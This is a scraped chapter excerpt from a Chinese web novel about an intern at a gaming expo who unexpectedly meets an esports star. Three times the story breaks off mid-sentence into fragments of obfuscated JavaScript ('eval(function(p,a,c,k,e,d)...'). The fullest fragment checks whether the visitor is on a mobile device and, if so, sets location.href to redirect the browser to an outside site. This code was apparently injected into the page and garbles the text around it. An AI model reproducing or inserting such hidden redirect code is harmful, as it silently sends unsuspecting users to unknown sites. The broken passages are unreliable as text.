她刚敲完字还没发送,汪炜突然起身,似是要去接水,秦见夏凭借多年打游戏的手速,一秒切换资源库假装在搜索资料。 汪炜果然瞥向她的电脑屏幕,停下脚步,捋了捋刘海,对她说:“见夏,如果需求做完了、现在不忙的话,可以写一下周报和日报。” “咱们每周五下班前要报工时,这个关系到月底发工资的。就是在OA里填报一下你这周具体完成了什么任务、花费了多长时间,每条任务写三百字左右的工作小结——这个是系统内要提交的日报。” 他开始详细地给秦见夏描述要求:“系统外还需要你额外再写五百字左右的周报。一会我用内部邮箱发你一份模板,你就照着模板总结……哦对了——这个周报也要认真写哦,每周写完要用内部邮箱发给我,还要抄送给组长一份。你打开邮箱,应该能直接看到我们的邮箱名。” 秦见夏:“……” 秦见夏:“好的阿炜哥。” 汪炜扭头去茶水间后,她还没开始打字,就收到大发的消息:「没有的姐妹没有的」 大发:「不用问了,我和那个男实习生在这干俩月了,都没听说过工时还有周报日报什么的/流汗」 大发:「工时应该是姐帮我们报了,至于周报和日报。。。究竟谁会看非转正实习生的工作总结?」 秦见夏已经无语凝噎,发了个龙图表情包。 秦见夏:「《如果命苦是一种天赋》」 43. 生长痛 实习第一周结束,秦见夏已经逐渐适应了社畜生活。 每天出租屋和公司两点一线,对着电脑工作八小时后回来只想躺平刷抖音,连游戏都没兴趣打了,周末也只想在家里睡两天懒觉。 实习唯二的好处可能是——工资待遇可观、且食堂的饭味道不错。 在晋海独自生活的第一个周末,秦见夏一觉睡到晌午,洗漱完换好衣服,准备出门买点青菜用来煮螺蛳粉。 其实她并不喜欢晋海的气候,比起南城来说,这里要潮湿许多。 水汽在炽日下升腾,使这座城市宛如大蒸笼,不仅闷得人呼吸困难,而且冲完凉什么也不干便会瞬间浸出一身黏腻的薄汗,像保鲜膜一样敷在身上。 不过,秦见夏很喜欢这片老居民区。 它符合她对老晋海的所有幻想。 斑驳的洋房、成片的绿荫,还有粗硕的梧桐树。 出了这个弄堂,走到主路上去,便是随处可见的精致小店。 如果不是实在没精力去逛的话,秦见夏肯定要“citywalk”一下。 这里和高楼林立的CBD迥然不同。 此时穿梭在老居民区的秦见夏完全想象不到,她竟然同时也是坐在高级写字楼里的白领实习生。 她想,或许她还是比较适合慢节奏的生活。 坐在梦寐以求的十八楼时,秦见夏满脑子只想回家。 她的耳机里依旧放着周杰伦,用卡通帆布袋盛着刚买的新鲜蔬菜,慢悠悠地走进弄堂里。 妈妈始终不相信她可以独自操持自己的生活,她觉得她还是个长不大的小孩。 实际上,秦见夏适应得相当快。 在大学里是一个人,在晋海也是一个人,没什么不同。 早在大一时,生长痛就将她精雕细琢过。 刚上大学的她,不能每天见到爸妈,与朋友们分散在天南海北,也没法融入室友的相处。 无力改变环境,只能每晚躺在棺材一样的床帘里,咬紧牙关,悄无声息地流泪。 如此日复一日,直至“适应”环境。 然而秦见夏明白,这只是对阵痛麻木了,她的生长痛并未停止。 或许到三十岁?三十五岁?她才会成为一个合格的大人。 秦见夏拎着购物袋,掏出钥匙,与同样正在开门的隔壁邻居对视一眼,很快移开目光,开锁,边开门边神色如常地特意冲门内喊了一声:“妈——我买菜回来了。” 回过身来迅速关门、落锁,一气呵成。 秦见夏的邻居貌似是个单身的中年男人,这是她和邻居碰到的第二次。 上次是周三加完班,恰好遇见他喝得醉醺醺的,整个楼道都是酒味。 邻居面露凶相,看起来好像不太好惹。 但也不能以貌取人,毕竟人家没有做出实质性的越界行为。 她只能假装自己和母亲一起住,同时找出管辖这一片区域的派出所报警电话,保存进通讯录里,以备不时之需。 由于只是心理作用,秦见夏就没有告诉父母这件事。 一旦告诉他们,赵霞肯定又要风风火火地跑来晋海陪她实习,指不定还要退租换房。 提前退租不退押金,那真是倒贴实习了。 之后倒是什么也没发生,秦见夏很快将这点小事抛之脑后——新的一周转瞬即至。 周一周二总是最忙碌的。 秦见夏忙得快把鼠标抡飞了,她的mentor却在悠哉地戴着耳机、抖着腿地刷手机。 每次去接水,都能看到汪炜屏幕上没有任何工作的痕迹。 人家看起来心情很好的样子。 秦见夏连将杯子捏碎的心都有了。 只好边喝水边pua自己—— 她有工资拿,还只是个无转正机会的实习生,帮mentor分担工作是应该的。 周三下班前,汪炜和晓红姐把部门的三个实习生全部叫到休息区,交代额外任务。 “由于执行部最近产生了大规模人事变动,实习生名额还没审批下来,刚好缺人手,我和他们组长又比较熟,所以,我向咱们组长申请了一下,本周六的CHNJoy活动安排你们三个实习生去现场帮忙。主要负责一些现场维护的工作,具体得看那边组长给你们分配什么任务,请各位务必要空出周六的时间哦!” 晓红姐亲切地笑着说:“OA流程我已经走完了,周六每人有四百的补贴以及三顿餐补,我们还报销来回打车的路费。这次辛苦大家了,各位周六一定要记得开打车发票用来报销。” 晓红姐交代完,汪炜又板着脸补充:“其他部门的实习生一般都接触不到这种落地的大型项目,这次对你们在校学生来说,也是一次很好的历练机会。” “机不可失、时不再来,你们三个一定要打起精神,认真对待CHNJoy的活动,不要给我们部门丢人!尤其是这次还有leader在现场视察,你们在外面就代表了我们设计部的整体形象……” 三个实习生:“……” 秦见夏听得直打瞌睡,心道这老黄毛怎么废话这么多。 她坐在沙发上微微侧目,刚好看到大发趁着打喷嚏的机会翻了个大白眼。 秦见夏开始疯狂抠手心,强迫自己的嘴角不要再上扬。 死嘴忍住啊! 这大发确实也是个人物。 短短一周半的时间,她们已经建立起深厚的革命友谊。 从某种程度上来说,这也算一种“吊桥效应”。 她倒是对这次被迫加班没多少抵触心理。 虽然周末痛失一次睡懒觉的机会,但那可是包吃包打车的四百多块钱啊!甚至还能免门票参加CHNJoy! 对于秦见夏来说,这真算是老鼠掉米缸,哪怕被当老黄牛使也认了。 于是——周六早晨七点,秦见夏干劲十足地打车来到CHNJoy的活动场地。 CHNJoy全名“Z国数字娱乐互动展览会”,是由官方牵头,与腾游联合举办的大型年度盛会,涵盖游戏、小说、电竞、动漫等各个数字娱乐领域。 展会为期五天,但只会在首天请来各种coser以及电竞选手,进行活动宣传和预热。 所以这次只有周六才紧急需要人手,来维护活动现场,之后的几天可以用临时工和志愿者。 虽然秦见夏并不理解,她们这种实习生和临时工有什么区别…… “也不知道公司内部究竟在调整哪门子的人员,”大发不爽地抱怨道,“怎么会让我们设计部的实习生来线下活动打杂?口口声声说什么维护工作,还不就是打杂吗!” “虽然但是,往好处想,我们这次算是带薪参展!”秦见夏和两个同僚在会展中心的食堂汇合,吃着早饭,“这次还有你玩的金铲铲呢!我刚刚在门口听工作人员说,这次每个展区都有抽奖活动,还有什么集章活动,万一抽中咱们呢?岂不是更赚~” “可咱们也是工作人员……” “这倒也是……” 男实习生始终沉默寡言,和平时在公司里一样默不作声,秦见夏只通过工作群了解到他叫陈彦。 八点一刻,三人来到展馆后面,寻到约定的集合地点,已经有个穿西装的男人在等候他们了。 三人连忙背着包小跑过去,秦见夏主动给他看了看工牌,打招呼道:“您好,我们是运营事业部设计部门的实习生,晓红姐安排我们来的。” 男人西装革履,看起来似乎正是那位组长,闻言,当即快语连珠地交代:“我们现在有三个展区刚好缺执行员,分别是英雄联盟、王者荣耀和金铲铲之战。你们一人负责一个展区,主要就是听从展区负责人的安排,可能还要负责部分讲解工作——所以一定要选择自己最熟悉的领域。” “如果完全不懂,记得提前找负责人要讲解资料。你们都是92的学生,我相信你们肯定没问题——” “更衣室在那边,你们直接去换工作服进场馆抓紧布置!”组长一股脑说完,指向不远处的小门,“来不及再给你们交代了,我先走了,加油干!” 三人望着他火急火燎的背影,愣在原地大眼瞪小眼,大发问:“咱们怎么分配?” “我都会玩,大发玩金铲铲,”秦见夏问陈彦,“你呢?你会玩哪个游戏?” 陈彦推了推黑框眼镜,说:“我只会打王者,只是很久没玩了……” 秦见夏听后,拉起大发,扭头边往更衣室走边说:“那你就负责王者,我去英雄联盟,刚好我对LPL也比较了解——虽然是比较了解几年前的电竞……唉算了,死马当活马医吧。” 三人迅速存了包、换好工作服,领取工牌各自前往对应的展区。 圆形展馆内部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“等下!你带公司的工牌没?” “带了。”秦见夏一头雾水,将缠绕的工牌从口袋里掏出。 “对,刚好还是蓝牌,你把工牌也拿出来挂脖子上,别给他们说你是实习生,你就说你是执行部的,一会我安排完这里就去那边找你。” “好的姐。” 秦见夏反戴工牌,将logo那面露出,一边帮年轻男生布置商品,一边默默感叹——世界果然是一个巨大的草台班子。 “你是哪个部门借调来的?”那个陈列的男生小声问。 秦见夏抬眸瞥了眼忙碌的负责人,也悄声开着小差:“其实我是设计部的。” 男生嗤笑道:“其实我是策划部的。” 秦见夏惊讶地问:“那你今天负责什么啊?” “我居然是负责收银的哈哈哈,”男生慢悠悠地布置着,讲起小道消息,“他们今年好像为了降本增效,不肯社招,除了负责人以上级别的,其他大部分应该都是借过来的实习生。” “毕竟这种级别的活动,社招得按五百一天的预算来,咱们只要四百,还都是92的学生。便宜、素质高,而且自己人,用着顺手,也有地方追责。” “还有其他说法,”他压低声音,“说是裁了一大批正式员工,但刚好这些实习生轮到下一批入职,反正说什么的都有……” “不过也就今天一天,之后可能用校园志愿者,或者别的兼职人员。” 男生话比较多,兴冲冲地说:“我还是第一次当收银员呢!感觉在玩角色扮演。” 秦见夏陈列的速度和他差不多,都慢手慢脚地:“我也是第一次负责什么表演赛呢……这真是太抽象了,明明我昨天还坐在电脑前p图,今天就圆梦成功了。” “对了,你说咱们买这些周边有内部折扣吗?”秦见夏摸着商品,十分爱不释手,“这个金克丝好萌。” “一会儿我帮你去问问冉姐,”男生又说,“如果有机会的话,你能帮我去后台要个Adgai的签名照不?” “啊?”秦见夏震惊地与他对视,“今天Adgai也要来?” 她工作的这两周,基本可以说是与世隔绝。 下了班就只是刷刷信息茧房推送的短视频和短剧,对此事竟然毫不知情。 “当然了!你居然不知道吗?还有那个谁……” “小秦,你别在这儿布置周边了,先去舞台那里吧,咱们是第一个活动,时间比较紧张——” 秦见夏来不及听男生说完,当即扔下玩偶,朝舞台跑:“好的姐我这就去!” “还有Jichoo也要来呢——诶,怎么跑那么快?Jichoo的签名照我也想要!” 男生只来得及捕捉到她匆匆离开的背影。 44. 见鬼了 秦见夏战战兢兢地来到鸭舌帽男人面前,说明来意。 比赛负责人一听她说了解赛事和选手,顿时松了口气,掏出活动流程单,看也不看地递给她,吩咐现在就去记熟,方便随时应对突发状况,八点五十要提前在园区门口接应嘉宾,一会的表演赛她还得负责当执行裁判。 秦见夏:“???” 反正她就是块砖呗,哪用往哪搬。 早知道说自己对英雄联盟一点也不懂了,免得事情做不好过后又被追责。 鸭舌帽负责人直接赶鸭子上架:“你别这副惊讶的表情,我们实在来不及临时找兼职了。你既然看比赛,肯定了解具体流程,快去吧已经八点四十了。” 秦见夏:“!” 来不及再沟通,秦见夏当即捏着流程单扭头就跑:“好的我这就去!” “还有,这场表演赛是现场直播,千万要记熟流程——” 秦见夏已经无力吐槽,没想到真歪打正着,还负责起比赛了。 然而……看比赛也不能代表就当得了这个临时裁判啊。 她边记流程边一路狂奔到大门口,为保险起见,还用手机将这页纸拍下来当作备份,一会吐槽什么年代了还用纸质流程单,一会又吐槽为什么不把车直接开进园区停车场。 明明有效率更高的方式,非搞得这么费人费力。 领导一拍脑袋做了决策,干不好到底还是下面人背锅。 最后的五分钟,她蹲在门口花坛旁边,紧急补妆。 补妆都不忘记流程,刻苦程度堪比进考场前的最后五分钟。 此时,门口已经聚集了乌泱泱的访客,秦见夏大致背熟流程单,又打开小红书搜索了LOL裁判负责的具体事宜。 水友娱乐赛不一定有裁判长和其他边裁,万一只有她一个什么都不懂的执行裁判上去,就彻底傻眼了。 还好执行裁判基本就是负责网络调试、设备维护、流程把控等任务,估计还得像正规比赛那样,出境站在选手们旁边,时刻应对突发状况。 秦见夏头一次庆幸自己的“小学生春游综合症”——昨晚因太激动没睡好觉,不仅早早就起来撸了个全妆,为方便干活戴了美瞳,甚至刚刚存包时,还把粉饼掏出来随身装进了口袋里。 刚刚的负责人冉姐给LOL展区的同事们拉了个微信小群,她从群里艾特她:「小秦@秦见夏,你负责接应的车牌号是8FCDM」 秦见夏:「好的姐,我想问下我到底负责接应哪个嘉宾啊,是Adgai吗?我看这比赛流程单和全天流程单上都没写」 而且根据往年CHNJoy的热搜来看,指不定LOL还会请明星来助阵增加热度。 万一嘉宾是流量明星,那场面岂不是更混乱了。 他们真的如此放心把这种事交给她一个实习生吗…… 秦见夏紧张得心里直打鼓,这对于她一个刚步入职场两周的实习生来说,真的太有挑战性了。 汪炜说得还真没错,一般实习生确实接触不到这种落地项目。 那从某种层面来说,怎么不算是可以写进简历里的项目经历? 她刚发出消息,还没得到回复,就听到不远处的人群传来一阵欢呼声。 秦见夏无奈地收起手机、粉饼和流程单,心道这节奏是否有些太快,然后踩在一旁的石柱上眺望,确认前方驶来车辆的车牌后,立即马不停蹄地往人堆里冲。 “不好意思借过一下。” “工作人员,劳驾劳驾——” “抱歉,麻烦让一下……” 秦见夏拨开一众粉丝,艰难地一手护住口袋、一手举着工作证挤入内围。 本来天气就热,她喘着粗气,思维混乱到满脑子都是嘈杂声,默默腹诽这Adgai粉丝真多。 她一会要干嘛来着? 哦对——挤到嘉宾和他经纪人身边先自报家门,然后引领他们进大门、进场馆,路上顺便对接一下,最后听从两个负责人的安排当执行裁判。 秦见夏用五秒钟时间在脑海里飞速过了遍自己的工作流程,挤到安保旁边出示工作证,顺手将头上已经乱作一团的发抓取下,随便夹在工牌的蓝绳上,边整理仪容边对保安说:“我是CJ英雄联盟展区负责接应嘉宾的。” 对方核实完工作证后给她放行,她也顺利整理好了衣服和头发。 早知道就带皮筋来了,干活真不方便,也不知道大发带没带多余的皮筋,或者哪个展区里卖不卖皮筋周边啊…… 秦见夏一边天马行空地胡思乱想着,一边凑到刚停稳的商务车跟前,在一众震耳欲聋的粉丝吵嚷声中,努力做好表情管理。 其实她真觉得这帮粉丝挺神的,没人知道车里是谁,还要围上来挤作一团。 有举Adgai灯牌的,有举NXE旗帜的,秦见夏随便打量一眼,心道怎么还有举Jichoo横幅的? 这难道是在挑衅还是怎么? Jichoo肯定不会来啊。 他怎么可能会来CHNJoy,和Adgai同台打娱乐赛? Adgai正如日中天,现在也是LPL现役里人气最高的选手。两人颜值在竞圈看来不相上下,只能比实力。 谈继秋和他同台,那肯定会被嘲得底裤都不剩。 除非Jichoo为了捞钱脸都不要了,那可能会“舍己为人”地来帮平台炒一波热度。 秦见夏收回目光,心道你们这群小粉丝还是太年轻。 周杰伦来的可能性都比Jichoo大。 她自信地摆出标准微笑,仿佛掌事宫女一般守护在车门旁,等候小主的降临。 心里琢磨着,一会该叫A神好呢,还是直接叫Adgai呢? 直接叫Adgai是不是不太…… “咔哒”一声,车门的打开声截断了秦见夏的思绪。 她连忙扬起笑容,打起十二万分的精神,毕恭毕敬地迎上前,比保镖都快一步—— 对上了一张熟悉且淡漠的棺材脸。 我滴乖,见鬼了??? 秦见夏的表情管理失控一瞬,精心摆出的笑容像张皮面具滞在脸上,她差点国粹出声。 怎么——可能——会是Jichoo?! 谈继秋似乎没怎么睡醒,浑身散发出浓浓的倦意,狭长的狐狸眼与瞳孔微缩的秦见夏对视了0.5秒。 仿佛电影慢动作般,她陷进一双古井无波的眼里。 秦见夏的心脏跳漏了两拍。 漂亮精致的“电竞花瓶”,怎么会拥有这样形同枯槁的目光呢。 这时应该是他的助理,也从另一侧小跑过来,秦见夏心情复杂地迅速回神,对着刚下车的谈继秋以及他助理,压低声音、语速飞快地小声介绍:“我是本次活动负责接应的工作人员,请两位随我往这边来。” 她说完后,做出“请”的手势,主动走在侧前方为他们引路,顺便帮忙挡一下狂热粉丝。 安保已经开好路,秦见夏的头发这次没再被挤成一团。 现在还没到检票时间,所以当几人走进会展中心的大门后,粉丝们就只能隔着栏杆遥遥相望地扯着嗓子喊“秋神”。 秦见夏听到男粉们撕心裂肺的嘶吼声,不由得感叹一句,谈继秋这家伙简直是男女通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她才堪堪到他肩膀左右,打量他表情都得微微仰头才能看到。 然而阳光太刺眼,秦见夏在这个角度,没有窥见一丝一毫谈继秋的神色。 等下—— 刚刚她介绍完,他是不是一句话都没说来着。 连头都没点一下? 秦见夏顿时尴尬得想找个地缝钻进去。 在心里吐槽了四十四遍公司和负责人们后,还是眼巴巴地将视线投向他身边跟着的助理。 艾欧尼亚瞬间心领神会,她推了推黑框眼镜,笑着说:“明白的,我是Jichoo的助理,您叫我小艾就行。” “好的,小艾姐。” 终于走进展馆大门,秦见夏看到冉姐候在门口,如释重负地快步上前,擦了擦因紧张而冒出来的细汗,用只有两人能听见的声音说:“姐,姐,我把他们带来了,刚刚已经和他们对接过活动流程……那我就先去那边待命?一会我还得当执行裁判。” “好的,去吧!做得不错哦小秦~灵的嘞!”冉姐看起来对她很满意。 得到首肯后,秦见夏连忙逃似的跑走了,却仍然甩不掉背后灼热的目光。 如芒刺背,她头都没敢回。 - 谈继秋和助理跟在年轻女孩身后,不疾不徐地走着。他离她最近,仅一步之遥。 挂着两个工牌的女孩身穿蓝色工作短袖,似乎很局促的样子。 一边介绍流程,一边频频回头,慌乱张望。 汗水打湿她的鬓发,使发丝贴在鬓角。 她表现得相当从容不迫,然而,微微泛红的双颊和耳根却出卖了她的紧张。 他有那么可怕吗? 始终垂眸注视着她的谈继秋,微乎其微地挑了挑唇。 45. 少女梦 其实,谈继秋早在看到秦见夏的第一秒,就认出她是那位不再搭理他的「勤捡虾球」了。 如果说起初不小心与她对视的0.5秒,谈继秋只是感到一种难以言喻的熟悉。 那么,在她开口的下一个0.5秒,谈继秋便可以完全确认,眼前就是令他夜不能寐的人。 明明只是听出了声音,但他也不知为何,自己会如此笃定。 仿佛造物主精巧安排,这份命运馈赠的礼物从天而降,将他砸得一阵眩晕。 他想,这应该就是所谓的“心跳比我先认出你”吧。 刚进大门时,外面男粉喊他的声音响彻园区。 谈继秋清楚地看到,她嘴角有过片刻抽搐,但她很快克制住,只是若无其事地闷头往前走。 他猜,她肯定又在心里悄悄骂他什么“电竞花瓶”了。 谈继秋莫名也跟着轻笑。 他良久地注视着一步之遥的女孩。 尽管只是个背影,但也用目光仔细描摹,直至每一根发丝。将虚浮在网络上的「勤捡虾球」,逐渐填充成眼前的模样。 她的身上传来很淡的西柚味,分不清是洗发水还是沐浴露、亦或是香水的味道。 他下意识深呼吸,将西柚味从胸腔中挤压出去时,后知后觉地意识到自己紊乱的心跳。 这颗心脏似乎在总决赛那天都没蹦这么快过。 他微微蹙眉,心想——该不会是熬夜熬出心脏病了吧。 那万一晕倒在她面前,她会不会为他着急? 哦,才想起来—— 她很早就脱粉,并且不搭理他了。 今天甚至完全没有和他网友相认的意思,还装作不认识他。 意识到这点,谈继秋的心跳逐渐回归平稳,略微不悦地绷起唇角。 他盯着她的栗色卷发,又不禁期待地想,她会不会是因为在工作所以才没与他相认? 等她工作结束,是不是就会突然蹦到他面前,说——“其实我就是「勤捡虾球」”了? 他看到她突然精神抖擞地回头,一双眼睛比阳光还亮,得体的笑容始终挂在她玲珑的脸上,嘴唇一张一合,开始自顾自介绍起什么。 耳边萦绕着熟悉的嗓音,大方又悦耳,没有片刻的矫揉造作。 怎么感觉那些明星网红的声音都没这么好听呢…… 谈继秋的视线只是自动追随着面前的女孩,大脑始终在宕机。 难道是睡眠不足出现幻觉了? 「勤捡虾球」怎么会活生生地出现在他面前? 他第九十九次感到难以置信。 - 艾欧尼亚觉得这老板也真是奇怪,明明刚才在车上的时候困得眼皮都睁不开了,却在下车的那一刻,瞬间容光焕发,堪比枯木逢春。 不知道还以为是回光返照。 她兢兢业业地跟在谈继秋身侧,认真听年轻女孩介绍活动流程,一边推断这应该是个新人,一边打量老板,检查用来盖黑眼圈的遮瑕有没有被晒脱妆。 今天的活动非常重要,陈姐为此还特意给谈继秋挑了衣服,将他装扮得跟男偶像似的,信誓旦旦地等着上热搜呢。 负责接待的女孩倒豆子似的说完,回头看向谈继秋,神态紧张地等待回应。 按理来说,哪怕他点个头人家都算交差了。 但谈继秋始终抿着唇一言不发,一副神游天外的模样。 艾欧尼亚察觉到一丝怪异,心想Jichoo虽然不爱搭理人,但也不至于这么没礼貌啊。 说他不搭理吧,偏偏眼睛还一个劲地盯着那女孩,目光炯炯。 女孩等了半天都没等来当事人的回应,红着脸尴尬地看过来,眼里的求助快溢出来了。 艾欧尼亚实在想笑,强迫自己忍住,友好地替她解了围。 一进会场,女孩顿时遛得比兔子还快,不知道的还以为Jichoo是什么洪水猛兽。 艾欧尼亚有些无语地望向一旁仍在发呆的谈继秋:“哥,虽然你没睡醒,但咱对工作人员还是善良点吧,你看你把人家小姑娘吓得……” “你怎么没问她叫什么?” “?” “什么?” 艾欧尼亚怀疑自己听错。 谈继秋气定神闲地扯了扯唇,视线依旧粘在远处的蓝色背影上,他看见她好像拿了个抓子一样的东西,正在盘头发。 “我说——”他语气淡淡,面上还是一副活人微死感,“你为什么没问她的名字。” 艾欧尼亚瞥到一个扎着丸子头的女人,正掬着笑意走来,推测这位应该是负责人,扔下句“人家一看就只是个带路的,我干嘛问她名字”便笑迎上前。 助理和负责人交涉时,谈继秋双手插兜,若有所思—— 他刚刚有吓到她吗? 他刚刚不是什么也没做吗? 不会真给她留下坏印象了吧…… - 秦见夏回到舞台附近,开始投身于工作中,对突如其来的谈继秋反应平平。 虽然刚才他确实有帅到她,但仅仅也是对待电竞明星那样,敬而远之。 怎么可能会跑到对方面前说自己就是那个粉丝? 相认了又能怎样? 再要张签名照吗? 她一不想和他交朋友,二不想和他谈恋爱,如果没有工作交集,她甚至不会再靠近他半步。 再也没有新消息的聊天框,就是她和他的最终归宿。 如今她很清楚地认识到,自己和他根本不是一个世界的人。 最好连朋友也不要当。 秦见夏不是梦女,现在长大了也不追电竞明星。 她认为自己是一个做任何事都会择优考虑的“功利主义”。 很显然,和Jichoo再接触下去只会使她万劫不复。 连王者双排几次都会被挂在热搜上,再产生联系的话后果不堪设想。 她可能会被他的脑残粉开户,她的生活可能会暴露在大众面前,以及—— 她可能真的会喜欢上谈继秋这个人…… 这些都是她不愿意看到的。 所以,几周前的她,在意识到自己对曾经的偶像产生了一丝微妙的情愫后,她就当即快刀斩乱麻,避免一切纷扰。 此刻,她只想完成自己的工作。 至于Jichoo,那与她无关。 秦见夏整理好头发,找到鸭舌帽负责人,询问谁是裁判长,她想了解一会需要负责哪些具体的执行工作。 结果,负责人漫不经心地指了指不远处戴着半框眼镜的男生:“没有裁判长,反正是BO1娱乐赛,这么认真干嘛?只有和你一样的另一个执行裁判,你俩去那边商量吧。” “总之,你们在比赛前检查一下设备,比赛期间出现问题及时报备暂停就行,一般也不会出什么岔子,”负责人抬腕看了眼表,“大概四十分钟后开始比赛,你们先去帮他们搬电脑,搬完了你俩可以自行商量。” “诶诶——那边那小伙儿,怎么摆的——”负责人忙碌地走远了。 秦见夏:“……” 这么随意吗…… 虽然不是官方赛事,但这草台班子也太草率了。 她再度腹诽着走向那个眼镜男,不知道是今天的第几次自我介绍。 眼镜男仍然是腾游实习生,不过还好他有点活动经验,给秦见夏又大概说了说注意事项。 两人搭伙跑去库房,搬运最后两台电脑。他搬主机,秦见夏搬外设和显示器。 他们边商量着边搬完设备,自觉将十台电脑全部组装后,打开调试了一遍。 “你说,这水友赛会用官方给的号吗?”秦见夏操作鼠标,点开LOL,“我看这怎么和咱们玩家是一样的页面啊?” 眼镜男也凑过来,和秦见夏头挨头地研究了一会:“好像还真是……” “这次好像确实是公司内部出现决策偏差,而且和上面也有点分歧,大改了好几版方案,所以搞得大家现在都手忙脚乱,甚至嘉宾都是上周才开始紧急联系的,指不定这是个什么被漏掉的失误。” “可别怪咱俩头上,我先问问。” 秦见夏叹息一声,认命地打开微信群聊,艾特冉姐:「姐,比赛用的官方号怎么调出来啊,我们都不会/流泪」 秦见夏:「还是说有独立的服务器或者客户端吗?」 冉姐过了会回复:「来不及申请的呀,这次直接用玩家自己的号」 冉姐:「娱乐赛无所谓的,小秦你别有心理压力」 冉姐:「这比赛要真这么重要就不至于找你们实习生来了」 “这倒也是。”秦见夏给眼镜男看了眼聊天记录。 眼镜男说:“咱们还是学生思维了。” 此时,游客们早已鱼贯而入。站在台上往下瞧,只看到一片密密麻麻的人头,有的聚在打卡墙那里和Jichoo合照,有的聚在荧幕前扫码关注公众号抽签。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732898|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >距离幸运观众名单公布还有十五分钟时,眼镜男闲得无聊,提议:“要不咱们也去抽个号试试呗,前二十名都有点券奖励呢。” “有道理!”秦见夏瞅了眼混乱的现场,又做贼心虚地瞥了瞥男负责人的方向,发现大家都忙得无暇顾及,便一把拽起他的袖子,兴奋道,“走!” 他俩趁乱掏出手机,对着头顶的大屏幕扫码抽号。 秦见夏凡是抽签从未中过,甚至连再来一瓶都没得过一次,这次也是不抱任何希望。 之后两人便穿梭回男负责人身边,随时待命。 Jichoo和Adgai并排站在台上,举起话筒,分别打了招呼。 以这俩的人气,无论谁说话都能引起一片尖叫,场面十分热闹。 秦见夏在台下仰望着Jichoo。 身旁的其他同事大部分也在看向舞台中央,所以她的目光便有些肆无忌惮。 Jichoo和三年前几乎没什么变化,也是这样站在台上。 区别于其他选手的社恐,他始终是一副对周围漠不关心的姿态,一点也不亲和,看起来拽拽的。 秦见夏这个角度,只能瞧到他一点侧脸和精致的鼻尖。 她暗暗嫉妒了一下谈继秋优越的下颌角,心道,线下看真人果然比镜头里还帅。 谁说电子竞技不需要颜值的? 如此棺材性格、棺材脸,实力又没有断层第一,不靠长相早被全网喷了。 这个“电竞花瓶”封得不无道理。 谈继秋颀长的身影落进秦见夏眼中,仿佛一个像素点的虹光。 假如绘制成一副画作,这便是她瞳眸的高光,是用小号勾线笔蘸取最干净的那块白颜料—— 引起涟漪般的蝴蝶效应。 此时此刻,秦见夏仰望着Jichoo,恍惚间记起了很多个夏天。 许多捋不到尾端的线头、解不开的九连环,在多年后被她意外翻出,随手剪断、摔开,画上一个句号。 她少女时代的梦想,应当圆满了。 耳旁音响震耳欲聋,台下又是一阵欢呼。 秦见夏心情复杂地移开视线,再度与同事确认流程。 谈继秋即便在台上,也能精准捕捉到秦见夏的身影。 他无意识偏头,往她的方向瞥了两眼。 很好,她的注意力完全不在他身上。 他今天穿得不帅吗? 陈姐审美是不是有问题。 她身边靠那么近的男的又是谁? 凑到耳边聊什么呢? 谈继秋本就不苟言笑的脸色,看起来更臭了。 “秋哥……”Adgai看见导播把镜头移开,连忙在一旁小声提醒,“你别臭脸啊哥,一会冒出咱俩不合的热搜咋办?” “我没臭脸啊。” 谈继秋语气淡淡。 Adgai:“究竟谁惹你了,感觉你下一秒就要去讨伐LCK了……” “好!激动人心的时刻到了——” 一旁的大音响震得秦见夏头昏眼花。 主持人声情并茂地倒数五个数,一道震耳欲聋的音效过后:“幸运观众已经公布在大屏幕上!五分钟内,请八名幸运儿上台参与水友赛!” 此时冉姐也刚忙完,来到秦见夏身边,对他俩叮嘱了几句。 手机在口袋里震动一瞬,她只当是谁闲得没事干给她发了消息。 “好!我们的七位幸运儿已经集合完毕,还剩最后一位选手,请迅速上台哦——” 台下观众你看我我看你,台前工作人员也都悬起心,纷纷祈祷不要出现直播事故。 “最后一分钟——”主持人刚刚核对完七位玩家的号码,“47号观众是哪位?六十秒内不上来的话,我们就要重新抽号了哦——” “靠!” 男负责人心态有点崩:“就为了这一个人拖时长不太值得啊!这个人不会离场了吧?咱联盟游戏时间长,本来就赶,王者那边已经对咱很不满了,再延个几分钟他们又得叽叽喳!” 秦见夏眼皮微跳,隐隐有种不祥的预感。 这个号码怎么这么眼熟…… 突然福至心灵,她飞速掏出手机,打开公众号看了一眼。 硕大的“47”两个数字,顿时使她感到头晕目眩—— “leader……” “我好像就是47号咋办……” 秦见夏唯唯诺诺地举起手机,一脸菜色。 46. 好不好 我滴乖乖—— 这回真的完蛋了。 怎么总是走一些莫名其妙的狗屎运啊! 秦见夏欲哭无泪。 胆战心惊地弯了半天腰,最后果然还是捅了篓子…… 她脑中一片混乱,在心底疯狂咆哮——早知道就不手欠去抽号了! 男负责人也一脸震惊:“你怎么去抽号了?” 他连忙和冉姐商量:“快通知小张重新抽号!” “等等——” 冉姐倏地虎躯一震,一脸激动地拍了拍秦见夏的肩膀,将她吓得一抖,姐突如其来地感叹,“这波简直是天助老娘也!不要太灵哦!” 还在蒙圈的秦见夏:“?” 冉姐连忙示意主持人过来,说明情况后,回头兴致盎然地对秦见夏说:“小秦呀,你就这样上台去打比赛嘛好嘞,别当那裁判了,姐姐去接你的班——我跟你讲,这次热搜咱们撸啊撸上定了!” “老娘要让王者那边的瞧瞧,谁才是MOBA老大!” 冉姐仿佛已经看到升职加薪在朝自己招手。 她当即举起对讲机:“镜头快切我旁边的女孩。” 秦见夏:“?” 请问,有人问过她的意见吗? 